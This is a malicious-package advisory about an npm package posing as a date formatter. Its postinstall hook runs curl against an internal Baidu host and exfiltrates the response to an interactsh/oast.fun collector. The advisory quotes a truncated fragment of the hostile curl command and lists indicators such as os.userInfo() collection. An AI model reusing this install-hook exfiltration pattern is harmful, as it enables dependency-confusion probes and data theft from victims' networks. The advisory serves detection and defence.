GCVE-110-OSM-2026-12684

npm package simple-date-formatter-new-12@1.0.0 declares a postinstall lifecycle script in package.json that runs automatically on `npm install`. The script uses curl to fetch an internal Baidu host (http://bsrc-ssrf.n.baidu-int.com/...), writes the response to /tmp/bsrc.txt, and POSTs the contents to an attacker-controlled interactsh collector at pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun/bsrc. The package's advertised purpose is a trivial date-formatting wrapper (index.js exports a single formatDate function); the SSRF probe and outbound exfiltration are unrelated to that purpose. The name shape (`simple-date-formatter-new-12`), empty author metadata, and OAST beacon are consistent with a dependency-confusion / typosquat probe designed to detect installation inside a target organization and leak internal network responses reachable from the installer's network position to a third-party collector. ENTRY index.js (main: index.js) - Postinstall Script in package.json: ""postinstall": "curl -s -m 3 http://bsrc-ssrf.n.baidu-int.com/6395292252 -o /tmp..." DESTINATION - 4 exfil (oast, custom-c2) (values recorded in verified_iocs) EXFIL - OAST/Interactsh Exfiltration in package.json: ".oast.fun" - Suspicious Domain in package.json: "oast.fun" - Network Request in postinstall.js: "https.request(" - System Information Collection in postinstall.js: "os.userInfo()" ADDITIONAL FINDINGS - Publisher Has Other Malicious Packages - Very New NPM Publisher Account - Publisher Shows Burner-Account Pattern PAYLOAD FILES postinstall.js